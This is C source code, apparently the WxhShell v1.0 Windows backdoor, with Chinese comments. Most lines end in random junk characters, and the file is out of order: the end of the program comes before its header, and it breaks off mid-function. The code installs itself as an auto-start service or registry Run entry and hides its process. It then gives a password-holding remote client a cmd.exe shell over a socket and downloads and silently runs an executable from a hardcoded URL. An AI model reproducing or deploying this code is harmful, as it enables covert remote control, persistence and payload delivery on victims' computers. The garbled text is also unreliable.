    if(Boot(SHUTDOWN)) s?S e]?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F @Wi[K  
    else { <o3I<ci6  
    closesocket(wsh); FJ!`[.t1AU  
    ExitThread(0); M;3q.0MU  
    } !T:7xEr  
    break; 4Y3@^8h&=  
    } No[9m_  
  // 获取shell q&&"8.w-  
  case 's': { U&Atgv  
    CmdShell(wsh); U=j`RQ 9,  
    closesocket(wsh); TNN@G~@cm  
    ExitThread(0); AX6:*aZB  
    break; ecH7")  
  } R1Q,m  
  // 退出 U,T#{  
  case 'x': { iR{@~JN=)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hJ[keaO  
    CloseIt(wsh); }1V+8'D  
    break; JzCkVF$  
    } KQ6][2-  
  // 离开 et/l7+/'  
  case 'q': { A['(@Bz#7~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TC'SDDX  
    closesocket(wsh); cL.>e=x$  
    WSACleanup(); v^Fu/Y  
    exit(1); 62.Cq!~  
    break; G.@K#a9  
        } Xg1TX_3Ml  
  } a_ [+id  
  } 4Wa$>vz  
*&]8rm{  
  // 提示信息 IDqUiN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vR5X  
} 1|>vk+;1h  
  } N M),2%<  
hSAI G  
  return; :@E^oNKa0  
} <?L5bhq  
IN#/~[W  
// shell模块句柄 FqnD"]A  
int CmdShell(SOCKET sock) + `'wY?  
{ CK4#ZOiaa  
STARTUPINFO si; ]goV Q'Y  
ZeroMemory(&si,sizeof(si)); 8p}z~\J{a:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3d1xL+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {|<r7K1<  
PROCESS_INFORMATION ProcessInfo; 7.2!g}E  
char cmdline[]="cmd"; Zs3xoIW7Ai  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;QCGl$8A  
  return 0; IIXA)b!  
} &,Loqr  
[J eq ?X9  
// 自身启动模式 Er$&}9G+-  
int StartFromService(void) !nsr( 7X2  
{ x#5[i;-c  
typedef struct Q;=4']hYU  
{ [9~EH8  
  DWORD ExitStatus; =x(k)RTDu  
  DWORD PebBaseAddress; ^c.pvC"4j  
  DWORD AffinityMask; rP"Y.;s  
  DWORD BasePriority; d_Zj W  
  ULONG UniqueProcessId; m432,8 K3r  
  ULONG InheritedFromUniqueProcessId; 1g,gilc  
}   PROCESS_BASIC_INFORMATION; R\5fl[  
%a0q|)Nrj  
PROCNTQSIP NtQueryInformationProcess; =Y!.0)t;*  
(=gqqOOl~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @raJB'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 17;9>*O'  
7T!t*sSO'  
  HANDLE             hProcess; eW3?3l`fvt  
  PROCESS_BASIC_INFORMATION pbi; #_3-(H5u  
F2<Q~gQ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3|G~_'`RLt  
  if(NULL == hInst ) return 0; 9<P%?Q  
asp\4-?$o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e(1{W P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wkPomTO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +@8, uL  
I3x+pa^]2  
  if (!NtQueryInformationProcess) return 0; /L! =##  
D(TfW   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AOL=;z9c#  
  if(!hProcess) return 0; PV=sqLM~  
&n83>Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RCK*?\m5  
}y+a )2  
  CloseHandle(hProcess); .S=|ZP+  
!rqs!-cCQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M 0G`P1o  
if(hProcess==NULL) return 0; 8/,s 8u  
} MP_  
HMODULE hMod; 3y:),;|5  
char procName[255]; ab)ckRC  
unsigned long cbNeeded; ga;t`5+d  
F60m]NUM)c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KqaEHL  
}PDtx:T-  
  CloseHandle(hProcess); AtAu$"ue  
6*>vie  
if(strstr(procName,"services")) return 1; // 以服务启动 q %tq9%  
?=kH}'igq  
  return 0; // 注册表启动 7Ot&]M  
} ?G&J_L=@Y  
[,~;n@jz  
// 主模块 J]48th0,  
int StartWxhshell(LPSTR lpCmdLine) t0:~BYXu  
{ +>a(9r|:  
  SOCKET wsl; es+ZPX>Y  
BOOL val=TRUE; L!ms{0rJ  
  int port=0; fbah~[5}  
  struct sockaddr_in door; '?{L gj^R  
-I#<?=0B  
  if(wscfg.ws_autoins) Install(); m,w^,)  
?&U~X)Q  
port=atoi(lpCmdLine); @fVz *  
S|yDGT1  
if(port<=0) port=wscfg.ws_port; dOg c%(kz  
mwz!7Q   
  WSADATA data; 0.(7R,-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _R ;$tG,  
.)FFl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^fS_h `B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); biQ~q $E  
  door.sin_family = AF_INET; n4+ ^f~Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _71I9V&  
  door.sin_port = htons(port); w>RwEU+w=@  
>7W8_6sC<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gh%dVP9B@P  
closesocket(wsl); 8<E U|/O  
return 1; :FS~T[C;  
} d,j)JnY3V  
gG(9&}@(  
  if(listen(wsl,2) == INVALID_SOCKET) { # .OCoc  
closesocket(wsl); kCoEdQ_  
return 1; ah!RQ2hDrV  
} 2&o3OKt  
  Wxhshell(wsl); |hu9)0 P  
  WSACleanup(); F22]4DLHO  
+~lPf.  
return 0; "#%9dWy  
k>\s6  
} WO+>W+|N  
(|y@ ftr@  
// 以NT服务方式启动 `n e9&+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nqcD#HUv  
{ Et)j6xz/F  
DWORD   status = 0; reoCyP\!!  
  DWORD   specificError = 0xfffffff; 7V~ gqum  
D r6u0rx8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lOIf4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -li;w tCS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hN;$'%^  
  serviceStatus.dwWin32ExitCode     = 0; Thp!X/2O`  
  serviceStatus.dwServiceSpecificExitCode = 0; 8&#)}A}x  
  serviceStatus.dwCheckPoint       = 0; ^p\n/#B  
  serviceStatus.dwWaitHint       = 0; M>jk"*hA|  
FJsg3D*@J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %w/:mH3FA  
  if (hServiceStatusHandle==0) return; K!!#";Eo  
;@[ax{ J  
status = GetLastError(); 95tHi re  
  if (status!=NO_ERROR) &=-{adm  
{ QUc&f+~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tW3Nry  
    serviceStatus.dwCheckPoint       = 0;  }_?FmuU  
    serviceStatus.dwWaitHint       = 0; nqib`U@"  
    serviceStatus.dwWin32ExitCode     = status; r5!Sps3B  
    serviceStatus.dwServiceSpecificExitCode = specificError; MrS~u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ 3l3,VYH  
    return; cbX  <  
  } 'c/Z W  
4Mj cx.21  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "nn>I}jK  
  serviceStatus.dwCheckPoint       = 0; *Cx3bg*Gan  
  serviceStatus.dwWaitHint       = 0; 9J f.Ls  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8lT2qqlr  
} SBG.t:  
d@<~u,Mt&F  
// 处理NT服务事件,比如:启动、停止 T_4y;mf!@O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2?9gf,U  
{ Y:K1v:Knw  
switch(fdwControl) ?_G?SQ  
{ qMmhmH)Gp  
case SERVICE_CONTROL_STOP: 1n+JHXR\  
  serviceStatus.dwWin32ExitCode = 0; tc)4$"9)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VrZ6m  
  serviceStatus.dwCheckPoint   = 0; ?C|b>wM/  
  serviceStatus.dwWaitHint     = 0; ?h|w7/9  
  { gn4 Sz")  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N51RBA  
  } VaFv%%w  
  return; K<D=QweOon  
case SERVICE_CONTROL_PAUSE: EN@Pr `R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kd^,NAg  
  break; P }$DCD<$U  
case SERVICE_CONTROL_CONTINUE: ZklZU,\!|v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %0^taA  
  break; FTZaN1%`  
case SERVICE_CONTROL_INTERROGATE: oxgh;v*  
  break; UhF+},gU  
}; =%G<S'2'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oi/bp#(fa  
} ADVHi3b  
P{h$> 6c  
// 标准应用程序主函数 Uz; pNWMk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SXm Hn.?  
{ '?v-o)X  
R"k}wRnxY  
// 获取操作系统版本 SRpPLY{:F  
OsIsNt=GetOsVer(); -JB~yO?0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z3Y(g  
V|zatMHs  
  // 从命令行安装 I'T@}{h  
  if(strpbrk(lpCmdLine,"iI")) Install(); u MM?s?q  
"A%JT3  
  // 下载执行文件 VT`C<'   
if(wscfg.ws_downexe) { 9~C$C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :7Smsc"B!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 94xRKQ}  
} b'5L|1d  
q8e34Ly7  
if(!OsIsNt) { /?g:`NT  
// 如果时win9x,隐藏进程并且设置为注册表启动 T@,tlIM  
HideProc(); IA?v[xu  
StartWxhshell(lpCmdLine); 6. 6g9  
} p:8&&v~I  
else sas:5iB5  
  if(StartFromService()) x5)YZ~5  
  // 以服务方式启动 h`%}5})=  
  StartServiceCtrlDispatcher(DispatchTable); h oL"K  
else Dwp-*QK^G  
  // 普通方式启动 O!#bM< *  
  StartWxhshell(lpCmdLine); ()I';o  
#99fFs`w  
return 0; gls %<A{C  
} '-5Q>d~&h  
*#2]`G)  
0h",.  
9H4NvB{  
=========================================== d~-C r-s4  
W|aFEY  
q_ |YLs`  
1'>wrGr  
zw,=mpf3_  
[#Y7iN&  
" &>&UqWL  
PQFr4EY?i  
#include <stdio.h> v*k}{M  
#include <string.h> h1'j1uI  
#include <windows.h> iw ==q:$  
#include <winsock2.h> QCvz|)  
#include <winsvc.h> )cd5iE:FO  
#include <urlmon.h> tE]0 #B)D<  
{[%kn rRJ  
#pragma comment (lib, "Ws2_32.lib") r.T!R6v}  
#pragma comment (lib, "urlmon.lib") !E+.(  
Y &"rf   
#define MAX_USER   100 // 最大客户端连接数 TUV&9wKXo  
#define BUF_SOCK   200 // sock buffer |X$O'Gf#n  
#define KEY_BUFF   255 // 输入 buffer Nn%[J+F  
bF X0UE>  
#define REBOOT     0   // 重启 {"x8 q  
#define SHUTDOWN   1   // 关机 K~B@8az  
o> i`Jq&  
#define DEF_PORT   5000 // 监听端口 bW9a_myE  
ySk'#\d  
#define REG_LEN     16   // 注册表键长度 > R5<D'cEN  
#define SVC_LEN     80   // NT服务名长度 tEXY>=  
Ckc4U. t|  
// 从dll定义API FV->226o%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #nOS7Q#uW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SZ[ ,(h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sF`ELrR \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &n)=OConge  
+7]]=e<[E  
// wxhshell配置信息 g~i%*u,Y<  
struct WSCFG { FnFJw;:,{  
  int ws_port;         // 监听端口 Z*Fxr;)d  
  char ws_passstr[REG_LEN]; // 口令 o2C{V1nB  
  int ws_autoins;       // 安装标记, 1=yes 0=no %kRQ9I".  
  char ws_regname[REG_LEN]; // 注册表键名 !^:)zORYR  
  char ws_svcname[REG_LEN]; // 服务名 utDjN"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D[5Qd)PIL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wgb e7-{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a*4l!-7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mDT"%I"4j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <:rbK9MIl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !b0ANIp  
U)n+j}vi  
}; 1>BY:xZr  
^mA^7jB  
// default Wxhshell configuration S?k G|y  
struct WSCFG wscfg={DEF_PORT, C;C= g1I}  
    "xuhuanlingzhe", TZ2-%k#  
    1, ; n)9  
    "Wxhshell", Pq@%MF]5  
    "Wxhshell", Av#_cL  
            "WxhShell Service", u\9t+wi}<  
    "Wrsky Windows CmdShell Service", Vk>m/"  
    "Please Input Your Password: ", XDWR ]  
  1, fi6i{(K  
  "http://www.wrsky.com/wxhshell.exe", O_u2V'jy9  
  "Wxhshell.exe" 0A}'@N@G)  
    }; ~F ,mc.  
l,pI~A`w_  
// 消息定义模块 X_6h8n}i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ LQ?s)~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ MN1:ih  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &r)i6{w81  
char *msg_ws_ext="\n\rExit."; N^{"k,vB-  
char *msg_ws_end="\n\rQuit."; kDz!v?Z2+B  
char *msg_ws_boot="\n\rReboot..."; xElHYh(\  
char *msg_ws_poff="\n\rShutdown..."; :Rq>a@Rp  
char *msg_ws_down="\n\rSave to "; ]26 Q*.1~  
(")IU{>c6  
char *msg_ws_err="\n\rErr!"; Kn !n}GtR  
char *msg_ws_ok="\n\rOK!"; 8 )W{&#C>  
?%RN? O(  
char ExeFile[MAX_PATH]; Y30e7d* qr  
int nUser = 0; E9]/sFA-]  
HANDLE handles[MAX_USER]; f ;[\'_.*  
int OsIsNt; "5+x6/9b  
q (?%$u.  
SERVICE_STATUS       serviceStatus; 0KQDw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8hK\Ya:mP  
e95x,|.-_  
// 函数声明 + ~6Nq(kV  
int Install(void); 1m52vQSo3l  
int Uninstall(void); 2,nVo^13}  
int DownloadFile(char *sURL, SOCKET wsh); w*E0f?s  
int Boot(int flag); Q>,EYb>wI  
void HideProc(void); L1'#wH  
int GetOsVer(void); =Qa*-*  
int Wxhshell(SOCKET wsl); YhVV~bvz*  
void TalkWithClient(void *cs); VOj{&O2c  
int CmdShell(SOCKET sock); K|n$-WDG}  
int StartFromService(void); Xlw8> .\  
int StartWxhshell(LPSTR lpCmdLine); 6WN1D W  
/n9yv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^,?dk![1Cv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =sR]/XSK  
QL<uQ`>(  
// 数据结构和表定义 &g{b5x{iD  
SERVICE_TABLE_ENTRY DispatchTable[] =  o IUjd  
{ bR6g^Yf  
{wscfg.ws_svcname, NTServiceMain}, -27uh  
{NULL, NULL} ranLHm.nB  
}; VeJM=s.y7  
w}OJ2^  
// 自我安装 &_L FV@/  
int Install(void) Kn WjP21  
{ !yo/ F& 6  
  char svExeFile[MAX_PATH]; 'g4t !__  
  HKEY key; 1qR[& =/  
  strcpy(svExeFile,ExeFile); dFu<h   
M:!Twz$  
// 如果是win9x系统,修改注册表设为自启动 ~F</ s.  
if(!OsIsNt) { 'pJ46"D@m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qMk"i@"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VI}.MnCa  
  RegCloseKey(key); Ux<2!vh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tAPr4n!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (&=<UGY(w  
  RegCloseKey(key); _;;'/rs j  
  return 0; ?f\;z<e|  
    } DPU%4te  
  } i|@lUXBp  
} +x7b9sHJ  
else { )4[Yplo  
U_-9rkUa  
// 如果是NT以上系统,安装为系统服务 Yt 9{:+[RK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @+gr>a1K#  
if (schSCManager!=0) hU:M]O0uw  
{ [@l:C\2  
  SC_HANDLE schService = CreateService ^[7ZBmS  
  ( bVB_KE  
  schSCManager, iK#5nY].  
  wscfg.ws_svcname, Q\P?[i]  
  wscfg.ws_svcdisp, ^`W8>czi  
  SERVICE_ALL_ACCESS, 5$v,%~$Xds  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '^T Q Ubw  
  SERVICE_AUTO_START, peA}/Jc  
  SERVICE_ERROR_NORMAL, E@/yg(?d=  
  svExeFile, =~OH.=9\  
  NULL, f{b$Y3  
  NULL, Z*Sa%yf  
  NULL, c k$ > yk  
  NULL, S(K}.C1x  
  NULL B=>:w%<Ii  
  ); #B;~i6h]  
  if (schService!=0) zyznFiE  
  { zL1*w@6  
  CloseServiceHandle(schService); y+ZRh?2  
  CloseServiceHandle(schSCManager); <Ae1YHUY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 's.cwB: #  
  strcat(svExeFile,wscfg.ws_svcname); 7X Z5CX&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $\W|{u`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  #E[{  
  RegCloseKey(key); FmRCTH  
  return 0; 8{m5P8w'  
    } X=:|v<E   
  } xKilTh_.6  
  CloseServiceHandle(schSCManager); -,M*j|   
} M^i^_}~S;  
} _I("k:E7  
52*9q!  
return 1; EJdl%j  
} `^rN"\  
X1 A~#w>  
// 自我卸载 X+'z@xpj  
int Uninstall(void) NTnjVU }  
{ Km5#$IiP;  
  HKEY key; Js`xTH'  
*5SOXrvhu6  
if(!OsIsNt) { N36<EHq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S,K'y?6  
  RegDeleteValue(key,wscfg.ws_regname); ^ -s'Ad3  
  RegCloseKey(key); i.eu$~F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IoEIT Kd  
  RegDeleteValue(key,wscfg.ws_regname); >dnH  
  RegCloseKey(key); UDJ{ iZ  
  return 0; Ueq*R(9>  
  } w]4=uL6  
} g]'RwI  
} oKl^Ttr  
else { PT9,R^2T!  
=%p%+F@RlW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X[Lwx.Ly8  
if (schSCManager!=0) ! xU1[,9  
{ ]et4B+=i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q*^Y8s~3I  
  if (schService!=0) uXs.7+f  
  { ~0mO<0~  
  if(DeleteService(schService)!=0) { -`z`K08sT  
  CloseServiceHandle(schService); d)'am 3Q  
  CloseServiceHandle(schSCManager); T gpf0(  
  return 0; j,q8n`@  
  } V3<baxdE  
  CloseServiceHandle(schService); y*Egt`W  
  } #6XN_<  
  CloseServiceHandle(schSCManager); B{\cV-X$0  
} 54TW8y `h  
} k{*IR  
2v ^bd^]u:  
return 1; '#~$Od4&=  
} ?\GILB,  
hJqLH ?Ri  
// 从指定url下载文件 jv:!vi:  
int DownloadFile(char *sURL, SOCKET wsh) |N9::),<  
{ `0l)\  
  HRESULT hr; `rt  
char seps[]= "/"; |5uvmK  
char *token; ;Z\1PwT  
char *file; K;%P_f/KJP  
char myURL[MAX_PATH]; E7A psi4]  
char myFILE[MAX_PATH]; d(.e%[`  
Y{6vW-z_<  
strcpy(myURL,sURL); zTDB]z!A  
  token=strtok(myURL,seps); Hzr<i4Y=w9  
  while(token!=NULL) -WDU~VSU  
  { %SKp<>;9  
    file=token; Uu~7+oaQ  
  token=strtok(NULL,seps); <h(KI Y9T  
  } ^/|agQ7D2  
P8tpbdZE-  
GetCurrentDirectory(MAX_PATH,myFILE); OH`| c  
strcat(myFILE, "\\"); %9,:  
strcat(myFILE, file); o,| LO$~  
  send(wsh,myFILE,strlen(myFILE),0); <qG4[W,[  
send(wsh,"...",3,0); 08J[9a0[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }?"}R<F|M,  
  if(hr==S_OK) ]*I:N  
return 0; [>5<&[A  
else #;9I3,@/Y  
return 1; ?2hS<qXX  
^[K3]*!@  
} r-M:YB  
 U 6((  
// 系统电源模块 k)Y}X)\36  
int Boot(int flag) ^ olaq(z  
{ i$~2pr  
  HANDLE hToken; N=1zhI:VaQ  
  TOKEN_PRIVILEGES tkp; AJk0jh\.j%  
P5u Y1(  
  if(OsIsNt) { dGxk ql  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )tH.P: 1~,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J~=bW\^I  
    tkp.PrivilegeCount = 1; l@ +lUx8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %4F Q~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4CO"> :  
if(flag==REBOOT) { hu?Q,[+o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z >EOQe  
  return 0; 8>T#sO?+  
} +D[|Mi  
else { |eN#9Bm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5a$Q}!6E.Y  
  return 0; X9W'.s.[Q  
} UDjmXQ2,  
  } ~7!=<MW  
  else { \!!qzrq  
if(flag==REBOOT) { ~%SmH [i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RCXm< /  
  return 0; L-B"P&  
} 6f"jl  
else { l(c2 B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q5[x2 s_d  
  return 0; lSMv9 :N  
} bve_*7CEM  
} 4*k>M+o/C4  
+iS'$2)@  
return 1; AYhWeI+  
} |u r/6{Oj1  
bW"bkA80  
// win9x进程隐藏模块 Wo&WO e  
void HideProc(void) =mVWfFL  
{ 7_OC&hhL  
f`r o {p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [I*)H7pt}  
  if ( hKernel != NULL ) w %4SNR  
  { gMN>`Z`fV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rm@#GP`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *QKxrg  
    FreeLibrary(hKernel); $w,?%i97  
  } 4Zz%vY  
C`G+b{o  
return; L]wWJL  
} W''%{A/'  
~ m/nV81  
// 获取操作系统版本 Xk9mJ]31LC  
int GetOsVer(void) A -C.Bi;/  
{ wM$N#K@  
  OSVERSIONINFO winfo; `ChS$p"A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mf~Joluc J  
  GetVersionEx(&winfo); noSkKqP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _&(\>{pm  
  return 1; ldd8'2  
  else -cgLEl1J  
  return 0; #7 )&`  
} Q6Ay$*y=D  
///  
// 客户端句柄模块 \,UpFuU\  
int Wxhshell(SOCKET wsl) {Ad4H[]|]  
{ AnF"+<  
  SOCKET wsh; Sb2hM~  
  struct sockaddr_in client; /+V}.  
  DWORD myID; _Y{8FN(4  
Hw0S/ytY  
  while(nUser<MAX_USER) M~rN17S  
{ =`MxgK +  
  int nSize=sizeof(client); s3(mkdXv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u+5&^"72,  
  if(wsh==INVALID_SOCKET) return 1; *5|;eN  
oI\ Lepl*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .<m${yU{3  
if(handles[nUser]==0) fL^$G;_?3  
  closesocket(wsh); !.2tv  
else 0oNNEC  
  nUser++; L3/SIoqd  
  } ^}w@&Bje  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v3p0  
*F<Ar\f5  
  return 0; (Q]Ww_r~  
} |wxAdPe  
Abw=x4d(i  
// 关闭 socket V 4#bW  
void CloseIt(SOCKET wsh) G '1K6  
{ N8[ &1  
closesocket(wsh); -dto46X  
nUser--; ;J uBybJb  
ExitThread(0); #QUQC2P(~  
} Sg&0a$  
e/7rr~"|  
// 客户端请求句柄 lU\v8!Ji  
void TalkWithClient(void *cs) pZ`^0#Fo  
{ w@![rH6~F  
,`pUz[wl  
  SOCKET wsh=(SOCKET)cs; n 3eLIA{  
  char pwd[SVC_LEN]; ~=P#7l\o1  
  char cmd[KEY_BUFF]; mm dQ\\  
char chr[1]; WMw|lV r  
int i,j; vVbBg; {  
A!^ d8#~.  
  while (nUser < MAX_USER) { @u>:(9bp  
gzMp&J  
if(wscfg.ws_passstr) { U/#X,Bi~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wsKOafrV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Dt* ++:  
  //ZeroMemory(pwd,KEY_BUFF); o8 B$6w:_  
      i=0; *'-[J2  
  while(i<SVC_LEN) { We`6# \Z X  
YigDrW  
  // 设置超时 E%b*MU  
  fd_set FdRead; wbpz,  
  struct timeval TimeOut; $~ >/_<~  
  FD_ZERO(&FdRead); 9#>t% IF~  
  FD_SET(wsh,&FdRead); MaS-*;BY,  
  TimeOut.tv_sec=8; (y^svXU}a  
  TimeOut.tv_usec=0; SG4)kQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^XgBkC~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gcA,u)z}R  
kgb:<{pJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fv} Uq\v[  
  pwd=chr[0]; CcJ%; .V,T  
  if(chr[0]==0xd || chr[0]==0xa) { I3.cy i  
  pwd=0; Op_(10|  
  break; Ajm  
  } oypF0?!m  
  i++; H5eGl|Z5]^  
    } H3xMoSs  
O`^dy7>{U  
  // 如果是非法用户,关闭 socket FyhLMW3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xk(p:^ R  
} MqAN~<l [  
yog(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a7>^^?|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3E-dhSz:i  
Z]SUr`Z  
while(1) { v.6K;TY.  
="('  #o  
  ZeroMemory(cmd,KEY_BUFF); GK`U<.[c  
Z [YSE T  
      // 自动支持客户端 telnet标准   Kgw, ]E&7  
  j=0; s?Z{LWZ@  
  while(j<KEY_BUFF) { p_B5fm7#6W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XY,!vLjL  
  cmd[j]=chr[0]; _[pbf ua  
  if(chr[0]==0xa || chr[0]==0xd) { 2 {xf{)hO?  
  cmd[j]=0; sh/4ui{  
  break; !BjJ5m  
  } v ;nnr0;  
  j++; U?xa^QVhj  
    } =/ +f3  
n[gc`#7|{e  
  // 下载文件 Ez+8B|0P  
  if(strstr(cmd,"http://")) { NydF'N_1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); no,b_0@N  
  if(DownloadFile(cmd,wsh)) a_ \t(U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O?f?{Jsx  
  else u\3=m%1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2AXf'IOqE  
  } ':7gYP*v  
  else { Y~B-dx'V  
> ofWHl[-  
